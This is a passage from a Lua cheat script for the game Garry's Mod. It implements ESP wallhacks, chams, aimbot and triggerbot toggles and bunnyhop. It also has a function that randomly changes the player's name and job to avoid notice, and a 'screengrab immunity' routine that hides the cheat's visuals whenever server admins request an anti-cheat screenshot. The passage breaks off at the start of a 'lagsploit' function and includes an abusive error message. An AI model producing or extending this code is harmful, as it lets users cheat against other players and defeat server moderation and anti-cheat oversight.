  2257.                 for k,v in pairs( MS.LeadingTable ) do
  2258.                         if( v == LocalPlayer() ) then continue end
  2259.                         if( v:GetVelocity():Length() >1000 ) then
  2260.                                 local trace = util.TraceLine( { start = v:GetPos(), endpos = v:GetPos() + v:GetVelocity()*999999, filter = v, trace = MASK_SHOT } )
  2261.                                 local StartPos = ( v:GetPos() ):ToScreen()
  2262.                                 local EndPos = ( trace.HitPos ):ToScreen()
  2263.                                 local Col = MS.Colours.PropChamsColour                        
  2264.                                 if( v:IsPlayer() ) then
  2265.                                         Col = MS.Colours.Col
  2266.                                         if( MS.Settings.Visuals.teamcolours ) then
  2267.                                                 Col = team.GetColor( v:Team() )
  2268.                                         end
  2269.                                 end    
  2270.                                
  2271.                                 surface.SetDrawColor( Col.r, Col.g, Col.b )
  2272.                                 surface.DrawLine( StartPos.x, StartPos.y, EndPos.x, EndPos.y )
  2273.                                 surface.DrawLine( EndPos.x - 15, EndPos.y, EndPos.x + 15, EndPos.y )
  2274.                                 surface.DrawLine( EndPos.x, EndPos.y - 15, EndPos.x, EndPos.y + 15 )                    
  2275.                                 if( !MS.Props[ v:EntIndex() ] and !v:IsPlayer() ) then
  2276.                                         MS.Props[ v:EntIndex() ] = ents.CreateClientProp( v:GetModel() )
  2277.                                 end
  2278.                         end
  2279.                 end
  2280.         end
  2281.         if( IsValid( LocalPlayer():GetViewModel() ) ) then            
  2282.                 LocalPlayer():GetViewModel():SetNoDraw( MS.Settings.Visuals.nogunz )
  2283.         end
  2284. end
  2285. HKA( "HUDPaint", "MSHUDPaint", MSHUDPaint )
  2286.  
  2287. local function RenderOrder()
  2288.         if( MS.ScreenGrab ) then return end
  2289.  
  2290.         if( MS.Settings.Visuals.halos ) then  
  2291.                 for k,v in pairs( player.GetAll() ) do
  2292.                         if( ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or v:Health() <=0 or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) > 1800 or MS.Settings.Visuals.thirdperson and v:GetShootPos():Distance( CozIBackTracedIt.HitPos + LocalPlayer():GetForward() *20 ) > 1800 ) ) then continue end
  2293.                        
  2294.                         local Width = 4
  2295.                         local Col = MS.Colours.Col    
  2296.                        
  2297.                         if( MS.Settings.Visuals.haloselection == 1 ) then --team colour
  2298.                                 Col = team.GetColor( v:Team() )                
  2299.                         elseif( MS.Settings.Visuals.haloselection == 2 ) then --health
  2300.                                 Col = Color( ( math.Clamp( v:Health() *2.5, 0, 255 ) *-1 ) +255, math.Clamp( v:Health() *2.5, 0, 255 ), 0 )            
  2301.                         elseif( MS.Settings.Visuals.haloselection == 4 )then -- RAINBOW
  2302.                                 Col = HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 )
  2303.                         end    
  2304.                        
  2305.                         if( table.HasValue( MS.Traitors, v ) ) then
  2306.                                 Width = 15
  2307.                                 Col = MS.Colours.traitorred
  2308.                         end
  2309.                        
  2310.                         halo.Add( { v }, Col, Width, Width, 1, true, true )
  2311.                        
  2312.                         if( MS.Settings.Visuals.haloselection != 2 ) then
  2313.                                 Col = InvertColour( Col )
  2314.                         end            
  2315.                         halo.Add( { v:GetActiveWeapon() }, Col, Width, Width, 1, true, true )  
  2316.                 end
  2317.         end
  2318.        
  2319.         if( MS.Settings.Visuals.Text.on ) then
  2320.                 for k,v in pairs( ents.GetAll() ) do
  2321.                         if( !IsValid( v ) or !table.HasValue( MS.Settings.Visuals.customents, v:GetClass() ) ) then continue end
  2322.                         draw.SimpleTextOutlined( string.upper( v:GetClass() ), "ass", v:GetPos():ToScreen().x, v:GetPos():ToScreen().y, MS.Colours.black, 1, 1, 1, MS.Colours.red )
  2323.                 end
  2324.         end
  2325.        
  2326.         cam.Start3D()
  2327.                 cam.IgnoreZ( true )
  2328.                 for k,v in pairs( player.GetAll() ) do-- separate loop for the beams so they aren't affected by IsOutOfFOV
  2329.                         if( !IsValid( v ) or v == LocalPlayer() or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) ) then continue end
  2330.                         local Origin = v:GetPos() + Vector( 0, 0, 40 )                
  2331.                         local Col = MS.Colours.Col                    
  2332.                         if( MS.Settings.Visuals.teamcolours ) then
  2333.                                 Col = team.GetColor( v:Team() )
  2334.                         end                    
  2335.                         if( table.HasValue( MS.Traitors, v ) or table.HasValue( MS.HighPriority, v ) ) then
  2336.                                 Col = MS.Colours.traitorred
  2337.                         end
  2338.                        
  2339.                         if( #MS.Tracked >0 ) then
  2340.                                 MS.Start = LocalPlayer():GetShootPos() + LocalPlayer():GetAimVector() * 150 + Vector( 0, 0, 50 )
  2341.  
  2342.                                 for k,v in pairs( MS.Tracked ) do
  2343.                                         if( !IsValid( v ) ) then table.remove( MS.Tracked, k ) continue end
  2344.                                         if( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) or v == LocalPlayer() or v:Health() <=0 or team.GetName( v:Team() ) == "Spectators" ) then continue end
  2345.                                         local Width = math.Clamp( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /( #MS.Tracked /2 ), 500, 1000 )
  2346.                                         local End
  2347.                                         local InnerCol = MS.Colours.Col
  2348.                                         local OutlineCol = Color( 0, math.Clamp( ( math.cos( CurTime() *5 ) +1 ) /5 *600, 100, 255 ), 0 )                                      
  2349.                                         if( MS.Settings.Visuals.teamcolours ) then
  2350.                                                 InnerCol = team.GetColor( v:Team() )
  2351.                                         end
  2352.                                         if( table.HasValue( MS.HighPriority, v ) ) then
  2353.                                                 InnerCol = MS.Colours.traitorred
  2354.                                         end                                    
  2355.                                         if( v:GetFriendStatus() != "friend" and ( v:IsAdmin() ) ) then
  2356.                                                 OutlineCol = Color( math.Clamp( ( math.cos( CurTime() *5 ) +1 ) /5 *600, 100, 255 ), 0, 0 )
  2357.                                         end                                    
  2358.                                         if( LocalPlayer():GetObserverTarget() ) then
  2359.                                                 Width = math.Clamp( LocalPlayer():GetObserverTarget():GetShootPos():Distance( v:GetShootPos() ) /( #MS.Tracked /2 ), 500, 1000 )      
  2360.                                         end                                    
  2361.                                         if v:LookupBone( "ValveBiped.Bip01_R_Hand" ) then
  2362.                                                 End = v:GetBonePosition( v:LookupBone( "ValveBiped.Bip01_R_Hand" ) )
  2363.                                         else
  2364.                                                 End = v:GetShootPos() - Vector( 0, 0, 30 )
  2365.                                         end
  2366.                                        
  2367.                                         render.SetMaterial( Material( "sprites/lookingat" ) )                          
  2368.                                         if( v:GetFriendStatus() == "friend" or v:IsAdmin() ) then
  2369.                                                 render.DrawBeam( End, MS.Start, Width /160, 1, Width /60, OutlineCol )
  2370.                                         end                                    
  2371.                                         render.DrawBeam( End, MS.Start, Width /200, 1, Width /60, InnerCol )
  2372.                                 end
  2373.                         end
  2374.                                
  2375.                         if( MS.Settings.Visuals.verticalbeam ) then
  2376.                                 if( !v:GetObserverTarget() and team.GetName( v:Team() ) != "Spectator" ) then
  2377.                                         local Up = util.TraceLine( { start = Origin, endpos = Origin + Vector( 0, 0, 16384 ), filter = { v }, mask = MASK_SHOT } )
  2378.                                         local Down = util.TraceLine( { start = Origin, endpos = Origin - Vector( 0, 0, 16384 ), filter = { v }, mask = MASK_SHOT } )
  2379.                                         local Dist = math.Clamp( v:GetShootPos():Distance( LocalPlayer():GetShootPos() ), 100, 2500 )
  2380.                                         local CutoffPos
  2381.                                         local SpriteDist
  2382.                                         local VertBeamCol = Col                        
  2383.                                         local V = { Start = Up.HitPos, End = Down.HitPos, Width = Dist /50 }
  2384.                                         local StretchX = Dist/200
  2385.                                         local StretchY = Dist/400
  2386.                                        
  2387.                                         if( MS.Settings.Visuals.headsmash )then
  2388.                                                 if( IsValid( MS.EntityLock ) and IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" ) then
  2389.                                                         CutoffPos = Vector( Origin.x, Origin.y, MS.EntityLock:GetPos().z )
  2390.                                                         local Halfway = ( MS.EntityLock:GetPos() + CutoffPos )/2
  2391.                                                         local Halfway2 = ( Halfway + LocalPlayer():GetShootPos() )/2
  2392.                                                         local Dist2 = math.Clamp( Halfway2:Distance( LocalPlayer():GetShootPos() ), 100, 2500 )
  2393.                                                         local H = { Start, End = MS.EntityLock:GetPos(), Width = Dist2 /50 }
  2394.                                                         H.Start = CutoffPos
  2395.                                                         SpriteDist = math.Clamp( CutoffPos:Distance( LocalPlayer():GetShootPos() ), 100, 2500 )                                
  2396.                                
  2397.                                                         if( MS.EntityLock:GetPos().z > Origin.z ) then
  2398.                                                                 V.Start = CutoffPos
  2399.                                                         else
  2400.                                                                 V.End = CutoffPos
  2401.                                                         end                                                    
  2402.                                                         if( IsValid( Up.Entity ) and Up.Entity == MS.EntityLock ) then
  2403.                                                                 Dist = math.Clamp( Origin:Distance( LocalPlayer():GetShootPos() ) *2, 1, 99999 )
  2404.                                                                 VertBeamCol = HSVToColor( CurTime() *2750 %360, 1, 1 )
  2405.                                                                 V.Width = Dist /5
  2406.                                                                 StretchX = 0
  2407.                                                                 StretchY = 0
  2408.                                                         end                                                    
  2409.                                                         render.SetMaterial( Material( "sprites/tp_beam001" ) )                                
  2410.                                                         render.DrawBeam( H.Start, H.End, H.Width, StretchX, StretchY, VertBeamCol )
  2411.                                                         render.SetMaterial( Material( "sprites/dot" ) )
  2412.                                                         render.DrawSprite( CutoffPos, SpriteDist /50, SpriteDist /50, InvertColour( VertBeamCol ), true )
  2413.                                                         render.SetMaterial( Material( "Sprites/light_glow02_add_noz" ) )
  2414.                                                         render.DrawSprite( CutoffPos, SpriteDist /4, SpriteDist /4, InvertColour( VertBeamCol ), true )
  2415.                                                 end
  2416.                                         end                                    
  2417.                                         render.SetMaterial( Material( "sprites/tp_beam001" ) )                                
  2418.                                         render.DrawBeam( V.Start, V.End, V.Width, StretchX, StretchY, VertBeamCol )
  2419.                                 end
  2420.                         end
  2421.                        
  2422.                         if( MS.Settings.Visuals.eyetrace and !v:IsBot() ) then
  2423.                                 local Dist = math.Clamp( v:GetShootPos():Distance( LocalPlayer():GetShootPos() ), 100, 1000 )
  2424.                                 local StretchX = Dist/100
  2425.                                 local StretchY = Dist/200
  2426.                                 local EyeTraceStart = Origin                                  
  2427.                                 if( v:LookupBone( "ValveBiped.Bip01_R_Hand" ) ) then
  2428.                                         EyeTraceStart = v:GetBonePosition( v:LookupBone( "ValveBiped.Bip01_R_Hand" ) )
  2429.                                 end                    
  2430.                                 render.SetMaterial( Material( "sprites/tp_beam001" ) )
  2431.                                 render.DrawBeam( EyeTraceStart, v:GetEyeTrace().HitPos, Dist/50, StretchX, StretchY, Col )
  2432.                         end    
  2433.                 end
  2434.                 cam.IgnoreZ( false )
  2435.         cam.End3D()
  2436.        
  2437.         for k,v in pairs( player.GetAll() ) do
  2438.                 if( !IsValid( v ) or v == LocalPlayer() or ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( gmod:GetGamemode().Name == "Propkill v2.6" and team.GetName( v:Team() ) == "Spectator" ) or ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" and ( ( team.GetName( v:Team() ) == "Spectators" and team.GetName( LocalPlayer():Team() ) != "Spectators" ) or ( team.GetName( v:Team() ) != "Spectators" and team.GetName( LocalPlayer():Team() ) == "Spectators" ) ) ) ) then continue end
  2439.                
  2440.                 local Origin = v:GetPos() + Vector( 0, 0, 40 )
  2441.                 local pos = ( v:GetShootPos() + Vector( 0, 0, LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /90 ) ):ToScreen()
  2442.                 if v:Crouching() then
  2443.                         pos = ( v:GetShootPos() + Vector( 0, 0, LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /90 +20 ) ):ToScreen()
  2444.                 end            
  2445.                 local HP = MS.Colours.red              
  2446.                 local Col = MS.Colours.Col
  2447.                 if( MS.Settings.Visuals.teamcolours ) then
  2448.                         Col = team.GetColor( v:Team() )
  2449.                 end            
  2450.                 local Out = InvertColour( Col )
  2451.                 if( table.HasValue( MS.Traitors, v ) or table.HasValue( MS.HighPriority, v ) ) then
  2452.                         Col = MS.Colours.black
  2453.                         Out = MS.Colours.traitorred
  2454.                 end
  2455.                
  2456.                 if v:Health() >= 90 then HP = Color( 0, 255, 0, 255 )
  2457.                         elseif v:Health() >= 80 then HP = Color( 150, 255, 0, 255 )
  2458.                         elseif v:Health() >= 70 then HP = Color( 190, 255, 0, 255 )
  2459.                         elseif v:Health() >= 60 then HP = Color( 220, 230, 0, 255 )
  2460.                         elseif v:Health() >= 50 then HP = Color( 240, 220, 0, 255 )                            
  2461.                         elseif v:Health() >= 40 then HP = Color( 255, 190, 0, 255 )
  2462.                         elseif v:Health() >= 30 then HP = Color( 255, 150, 0, 255 )
  2463.                         elseif v:Health() >= 20 then HP = Color( 255, 120, 0, 255 )
  2464.                         elseif v:Health() >= 10 then HP = Color( 255, 100, 0, 255 )                    
  2465.                 end
  2466.                
  2467.                 if( MS.Settings.Visuals.Text.on ) then
  2468.                
  2469.                         if( DarkRP ) then
  2470.                                 GAMEMODE.Config.showname = false
  2471.                                 GAMEMODE.Config.showhealth = false
  2472.                                 GAMEMODE.Config.showjob = false
  2473.                         end    
  2474.                
  2475.                         local ESPY = pos.y -25
  2476.  
  2477.                         if( MS.Settings.Visuals.Text.espvelocity ) then
  2478.                                 local X = pos.x
  2479.                                 local PlyVel = tostring( math.Round( v:GetVelocity():Length() ) )
  2480.                                 if( v:GetVelocity():Length() > 1000 ) then
  2481.                                         PlyVel = tostring( math.Round( v:GetVelocity():Length() /1000, 1 ) ) .. "K"
  2482.                                 end
  2483.                                 if( MS.Settings.Visuals.Text.rank and !MS.Settings.Visuals.Text.distance and v:IsAdmin() ) then
  2484.                                         X = pos.x +( 10 + string.len( PlyVel ) *3.4 )
  2485.                                 end                            
  2486.                                 draw.SimpleTextOutlined( PlyVel, "ass", X, ESPY+14, Col, 1, 1, 1, Out )
  2487.                         else
  2488.                                 ESPY = ESPY +14
  2489.                         end
  2490.                        
  2491.                         if( MS.Settings.Visuals.Text.distance ) then
  2492.                                 local X = pos.x
  2493.                                 local PlyDist = tostring( math.Round( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) ) )                              
  2494.                                 if( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) > 1000 ) then
  2495.                                         PlyDist = tostring( math.Round( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /1000, 1 ) ) .. "K"
  2496.                                 end                            
  2497.                                 if( MS.Settings.Visuals.Text.rank and string.len( v:GetNWString( "UserGroup" ) ) > 0 and v:IsAdmin() ) then
  2498.                                         X = pos.x +10 +( string.len( PlyDist ) *3.4 )
  2499.                                 end                            
  2500.                                 draw.SimpleTextOutlined( PlyDist, "ass", X, ESPY, Col, 1, 1, 1, Out )
  2501.                                 ESPY = ESPY -14
  2502.                         end
  2503.                        
  2504.                         if( MS.Settings.Visuals.Text.rank and string.len( v:GetNWString( "UserGroup" ) ) >0 and v:GetNWString( "UserGroup" ) != "user" and v:GetNWString( "UserGroup" ) != "guest" ) then
  2505.                                 draw.SimpleTextOutlined( string.upper( v:GetNWString( "UserGroup" ) ), "ass", pos.x, ESPY, Col, 1, 1, 1, Out )                
  2506.                                 if( v:IsAdmin() ) then
  2507.                                         render.SetMaterial( Material( "icon16/emoticon_unhappy.png" ) )
  2508.                                         render.DrawQuad( Vector( pos.x -7, ESPY +4, 0 ), Vector( pos.x +9, ESPY +4, 0 ), Vector( pos.x +9, ESPY +20, 0 ), Vector( pos.x -7, ESPY +20, 0 ) )
  2509.                                 end
  2510.                                 ESPY = ESPY -14
  2511.                         end
  2512.                        
  2513.                         if( MS.Settings.Visuals.Text.weapon and IsValid( v:GetActiveWeapon() ) and type( v:GetActiveWeapon() ) == "Weapon" ) then
  2514.                                 draw.SimpleTextOutlined( string.upper( v:GetActiveWeapon():GetPrintName() ), "ass", pos.x, ESPY, Col, 1, 1, 1, Out )
  2515.                                 ESPY = ESPY -14                        
  2516.                         end    
  2517.  
  2518.                         if( MS.Settings.Visuals.Text.health ) then
  2519.                                 draw.SimpleTextOutlined( v:Health(), "ass", pos.x, ESPY, HP, 1, 1, 1, MS.Colours.black )
  2520.                                 ESPY = ESPY -14
  2521.                         end
  2522.                        
  2523.                         if( MS.Settings.Visuals.Text.names ) then                              
  2524.                                 draw.SimpleTextOutlined( string.upper( v:Nick() ), "ass", pos.x, ESPY, Col, 1, 1, 1, Out )
  2525.                                 ESPY = ESPY -14
  2526.                         end
  2527.                        
  2528.                         if( MS.Settings.Visuals.Text.mingenametags and !v:IsBot() ) then
  2529.                                 for k2, v2 in pairs( SteamIDs ) do
  2530.                                         if( table.HasValue( v2, GetHash( v:SteamID() ) ) and v != LocalPlayer() ) then
  2531.                                                 MS.FriendlyMinge = k2
  2532.                                                 break
  2533.                                         end
  2534.                                 end                            
  2535.                                 if( MS.FriendlyMinge ) then
  2536.                                         draw.SimpleTextOutlined( string.upper( MS.FriendlyMinge ), "ass", pos.x, ESPY, MS.Colours.black, 1, 1, 1, Color( 0, math.Clamp( ( math.cos( CurTime() *5 ) +1 ) /2 *400, 150, 255 ), 0 ) )
  2537.                                         render.SetMaterial( Material( "icon16/heart.png" ) )                                  
  2538.                                         render.DrawQuad( Vector( pos.x -4, ESPY -15, 0 ), Vector( pos.x +6, ESPY -15, 0 ), Vector( pos.x +6, ESPY -5, 0 ), Vector( pos.x -4, ESPY -5, 0 ) )
  2539.                                 end
  2540.                                 MS.FriendlyMinge = nil
  2541.                         end
  2542.                 end
  2543.         end
  2544.  
  2545.         if( MS.Settings.Visuals.crosshair ) then      
  2546.                 surface.SetDrawColor( MS.Colours.CrosshairCol.r, MS.Colours.CrosshairCol.g, MS.Colours.CrosshairCol.b )
  2547.                 surface.DrawLine( MS.CHOutterPos1.x, MS.CHOutterPos1.y, MS.CHOutterPos2.x, MS.CHOutterPos2.y )
  2548.                 surface.DrawLine( MS.CHOutterPos3.x, MS.CHOutterPos3.y, MS.CHOutterPos4.x, MS.CHOutterPos4.y )
  2549.                 surface.DrawLine( MS.CHOutterPos5.x, MS.CHOutterPos5.y, MS.CHOutterPos6.x, MS.CHOutterPos6.y )
  2550.                 surface.DrawLine( MS.CHOutterPos7.x, MS.CHOutterPos7.y, MS.CHOutterPos8.x, MS.CHOutterPos8.y )
  2551.                 surface.DrawLine( MS.CHMidPos1.x, MS.CHMidPos1.y, MS.CHMidPos2.x, MS.CHMidPos2.y )
  2552.                 surface.DrawLine( MS.CHMidPos3.x, MS.CHMidPos3.y, MS.CHMidPos4.x, MS.CHMidPos4.y )
  2553.                 surface.DrawLine( MS.CHMidPos5.x, MS.CHMidPos5.y, MS.CHMidPos6.x, MS.CHMidPos6.y )
  2554.                 surface.DrawLine( MS.CHMidPos7.x, MS.CHMidPos7.y, MS.CHMidPos8.x, MS.CHMidPos8.y )            
  2555.                 surface.DrawLine( MS.CHInnerPos1.x, MS.CHInnerPos1.y, MS.CHInnerPos2.x, MS.CHInnerPos2.y )
  2556.                 surface.DrawLine( MS.CHInnerPos3.x, MS.CHInnerPos3.y, MS.CHInnerPos4.x, MS.CHInnerPos4.y )
  2557.                 surface.DrawLine( MS.CHInnerPos5.x, MS.CHInnerPos5.y, MS.CHInnerPos6.x, MS.CHInnerPos6.y )
  2558.                 surface.DrawLine( MS.CHInnerPos7.x, MS.CHInnerPos7.y, MS.CHInnerPos8.x, MS.CHInnerPos8.y )
  2559.         end
  2560. end
  2561. HKA( "PostDrawHUD", "RenderOrder", RenderOrder )
  2562.  
  2563. local function PropChams()
  2564.         if( MS.ScreenGrab or !MS.Settings.Visuals.propchams ) then return end  
  2565.         MS.ChamTable =  {}
  2566.         for k,v in pairs( MS.PropChamClasses ) do
  2567.                 table.Add( MS.ChamTable, ents.FindByClass( v ) )
  2568.         end
  2569.         cam.Start3D()
  2570.                 cam.IgnoreZ( true )
  2571.                 render.MaterialOverride( MS.WhiteMaterial )
  2572.                 render.SetBlend( MS.Settings.Visuals.PropA /100 )
  2573.                
  2574.                 for k,v in pairs( MS.ChamTable ) do
  2575.                         if( !IsValid( v ) or MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) then continue end
  2576.                         local Col = MS.Colours.PropChamsColour
  2577.                        
  2578.                         if( MS.Settings.Visuals.checktidesgate and table.HasValue( MS.DangerProps, v:GetModel() ) ) then                      
  2579.                                 local Blocked = util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = v:GetPos(), filter = { LocalPlayer(), v }, mask = MASK_SHOT } )
  2580.                                 if( !Blocked.Hit and v != MS.EntityLock ) then
  2581.                                         Col = Color( math.Clamp( ( math.cos( CurTime() *50 ) +1 ) /2 *600, 0, 255 ), 0, 0 )
  2582.                                 end
  2583.                         end                    
  2584.                         render.SetColorModulation( Col.r /255, Col.g /255, Col.b /255 )
  2585.                        
  2586.                         if( !v:GetNoDraw() or !v.NoDraw ) then
  2587.                                 v:SetNoDraw( true )
  2588.                                 MS.SetNoVis = true
  2589.                         end
  2590.                        
  2591.                         v:DrawModel()
  2592.                 end
  2593.                 cam.IgnoreZ( false )
  2594.         cam.End3D()
  2595. end
  2596. HKA( "PreDrawHUD", "PropChams", PropChams )
  2597.  
  2598. CCA( "+ms_aim", function()
  2599.         MS.Settings.Aimbot.enabled = true
  2600.         MS.UpdateSilentAngle = true
  2601. end )
  2602.  
  2603. CCA( "-ms_aim", function()
  2604.         MS.Settings.Aimbot.enabled = false
  2605.         if( MS.Settings.Aimbot.silent and GetSuitableTarget() ) then
  2606.                 LocalPlayer():SetEyeAngles( MS.SilentAimAngle )
  2607.         end
  2608.         MS.NextSnap = 0
  2609.         MS.UpdateSilentAngle = false
  2610.         MS.SnapBack = false
  2611.         MS.TargetPly = nil
  2612. end )
  2613.  
  2614. CCA( "+ms_triggerbot", function() MS.Settings.TriggerBot.enabled = true end )
  2615. CCA( "-ms_triggerbot", function() MS.Settings.TriggerBot.enabled = false MS.IsFiring = false end )
  2616.  
  2617. CCA( "ms_propchams", function()
  2618.         MS.Settings.Visuals.propchams = !MS.Settings.Visuals.propchams
  2619.         if( MS.Settings.Visuals.propchams ) then
  2620.                 RCC( "play", "buttons/combine_button3.wav" )
  2621.                 MS.SetNoVis = true
  2622.         else
  2623.                 RCC( "play", "buttons/combine_button2.wav" )
  2624.                 MS.ResetVis = true
  2625.         end
  2626. end )
  2627.  
  2628. CCA( "ms_playerchams", function()
  2629.         MS.Settings.Visuals.playerchams = !MS.Settings.Visuals.playerchams
  2630.         if( MS.Settings.Visuals.playerchams ) then
  2631.                 RCC( "play", "buttons/combine_button3.wav" )
  2632.         else
  2633.                 RCC( "play", "buttons/combine_button2.wav" )
  2634.         end
  2635. end )
  2636.  
  2637. CCA( "ms_who", function()
  2638.         MSMsg( "MS WHO" )      
  2639.         for k,v in pairs( player.GetAll() ) do
  2640.                 if v:IsBot() then continue end
  2641.                 if( DarkRP ) then
  2642.                         steamworks.RequestPlayerInfo( v:SteamID64() )
  2643.                         timer.Simple( 0.5, function()
  2644.                                 MSMsg( v:Nick() .. string.rep( ".", 30 -string.len( v:Nick() ) ) .. steamworks.GetPlayerName( v:SteamID64() ) .. string.rep( ".", 33 -string.len( steamworks.GetPlayerName( v:SteamID64() ) ) ) .. v:GetNWString( "UserGroup" ) .. string.rep( ".", 12 -string.len( v:GetNWString( "UserGroup" ) ) ) .. v:SteamID() )
  2645.                         end )
  2646.                 else
  2647.                         MSMsg( v:Nick() .. string.rep( ".", 30 -string.len( v:Nick() ) ) .. v:GetNWString( "UserGroup" ) .. string.rep( ".", 12 -string.len( v:GetNWString( "UserGroup" ) ) ) .. v:SteamID() )
  2648.                 end
  2649.         end
  2650. end )
  2651.  
  2652. local function WepColours()
  2653.         MSMsg( "MS WEPCOLOURS" )
  2654.         for k,v in pairs( player.GetAll() ) do
  2655.                 MSMsg( v:Nick() .. string.rep( ".", 33 -string.len( v:Nick() ) ) .. tostring( v:GetWeaponColor() ) )
  2656.         end
  2657. end
  2658. CCA( "ms_wepcolours", WepColours )
  2659.  
  2660. //detour
  2661. function RunConsoleCommand( ... )
  2662.         return RCC( ... )
  2663. end
  2664.  
  2665. //innocentroleplayer
  2666. local function IdentityChanger()
  2667.         if( !DarkRP ) then MSError( "THIS FEATURE REQUIRES DARKRP YOU ABORTION SURVIVOR." ) return end
  2668.         MS.RPJobs = {}
  2669.        
  2670.         if( ConVarExists( "ms_setingamename" ) )then
  2671.                 RCC( "ms_setingamename", table.Random( MS.UserNames ) )
  2672.         end
  2673.         if( math.Round( math.random( 1, 5 ) ) == 1 ) then
  2674.                 RCC( "play", "bot/i_dont_know_where_he_went.wav" )                    
  2675.                 timer.Simple( 0.9, function() RCC( "play", "bot/anyone_see_anything.wav" ) end )
  2676.         end    
  2677.         for k,v in pairs( RPExtraTeams ) do    
  2678.                 if( v.vote != false or v.admin != 0 or v.NeedToChangeFrom != nil or v.customCheck != nil or v.CustomCheckFailMsg != nil or v.label != nil or v.jobType != nil or v.RequiresVote != nil or LocalPlayer():Team() == k or ( team.NumPlayers( v.team ) >= v.max and v.max != 0 ) ) then continue end
  2679.                 table.insert( MS.RPJobs, v )
  2680.         end
  2681.        
  2682.         if( #MS.RPJobs < 2 ) then MSError( "NO VALID JOBS AVAILABLE" ) return end
  2683.        
  2684.         while( MS.NewJob == MS.LastJob ) do
  2685.                 MS.Job2 = table.Random( MS.RPJobs )
  2686.                 MS.NewJob = MS.Job2.command
  2687.         end
  2688.         LogMsg( "CHANGING JOB FROM " .. team.GetName( LocalPlayer():Team() ) .. " TO " .. MS.Job2.name )      
  2689.         while( MS.LastFirstName == MS.NewFirstName ) do
  2690.                 MS.NewFirstName = table.Random( MS.FirstNames )
  2691.         end    
  2692.         while( MS.LastSurname == MS.NewSurname ) do
  2693.                 MS.NewSurname = table.Random( MS.Surnames )
  2694.         end    
  2695.         LogMsg( "CHANGING NAME FROM " .. LocalPlayer():Nick() .. " TO " .. MS.NewFirstName .. " " .. MS.NewSurname )
  2696.        
  2697.         if( ( LocalPlayer():Health() >0 and IsValid( LocalPlayer():GetActiveWeapon() ) ) and !table.HasValue( MS.IgnoreDropWeps, LocalPlayer():GetActiveWeapon():GetClass() ) ) then
  2698.                 if!( LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():KeyDown( IN_ATTACK2 ) ) then
  2699.                         RCC( "darkrp", "drop" )
  2700.                 end
  2701.                 timer.Simple( 1, function()
  2702.                         if!( LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():KeyDown( IN_ATTACK2 ) ) then
  2703.                                 RCC( "darkrp", MS.NewJob )
  2704.                         end
  2705.                         RCC( "darkrp", "name", MS.NewFirstName .. " " .. MS.NewSurname )
  2706.                 end )
  2707.         else  
  2708.                 if!( LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():KeyDown( IN_ATTACK2 ) ) then
  2709.                         RCC( "darkrp", MS.NewJob )
  2710.                 end
  2711.                 RCC( "darkrp", "name", MS.NewFirstName .. " " .. MS.NewSurname )
  2712.         end
  2713.         MS.LastFirstName = MS.NewFirstName
  2714.         MS.LastSurname = MS.NewSurname
  2715.         MS.LastJob = MS.NewJob
  2716. end
  2717. CCA( "ms_innocentroleplayer", IdentityChanger )
  2718.  
  2719. //bunnyhop
  2720. local function MSBhop()
  2721.         MS.Hopping = true
  2722. end
  2723. local function MSBstop()
  2724.         RCC( "-jump" )
  2725.         MS.Hopping = false
  2726. end
  2727. CCA( "+ms_bhop", MSBhop )
  2728. CCA( "-ms_bhop", MSBstop )
  2729.  
  2730. //screengrab immunity
  2731. net.Receive( "screengrab_start", function()
  2732.         RCC( "play", "vo/heavy_generic01.wav" )
  2733.         MS.ScreenGrab = true  
  2734.         timer.Simple( 1, function()
  2735.                 local qual = net.ReadInt( 32 )        
  2736.                 local info = {
  2737.                         format = "jpeg",
  2738.                         h = ScrH(),
  2739.                         w = ScrW(),
  2740.                         quality = qual,
  2741.                         x = 0,
  2742.                         y = 0
  2743.                 }              
  2744.                 local frags = math.ceil( string.len( util.Base64Encode( render.Capture( info ) ) ) / 20000 )          
  2745.                 for i = 1, frags do
  2746.                         local start = ( i * 20000 ) - 20000 + 1
  2747.                         local stop = ( i * 20000 )
  2748.                        
  2749.                         if stop > string.len( util.Base64Encode( render.Capture( info ) ) ) then
  2750.                                 stop = string.len( util.Base64Encode( render.Capture( info ) ) )
  2751.                         end                    
  2752.                         SCRG.DATA[i] = string.sub( util.Base64Encode( render.Capture( info ) ), start, stop )
  2753.                 end            
  2754.                 net.Start( "screengrab_start" )
  2755.                 net.WriteUInt( frags, 32 )
  2756.                 net.SendToServer()
  2757.         end )  
  2758. end )
  2759. net.Receive( "screengrab_part", function()
  2760.         timer.Simple( 1, function()
  2761.                 local nextsend = SCRG.DATA[ SCRG.UPTO ]
  2762.                 nextsend = util.Compress( nextsend )          
  2763.                 net.Start( "screengrab_part" )
  2764.                 net.WriteUInt( string.len( nextsend ), 32 )
  2765.                 net.WriteData( nextsend, string.len( nextsend ) )
  2766.                 net.SendToServer()            
  2767.                 if SCRG.UPTO == #SCRG.DATA then
  2768.                         SCRG.UPTO = 1
  2769.                         SCRG.DATA = {}
  2770.                         MS.ScreenGrab = false
  2771.                         return
  2772.                 end            
  2773.                 SCRG.UPTO = SCRG.UPTO + 1
  2774.         end )  
  2775. end )
  2776.  
  2777. //Anubis's Lagsploit
  2778. local function ToggleLagsploit()
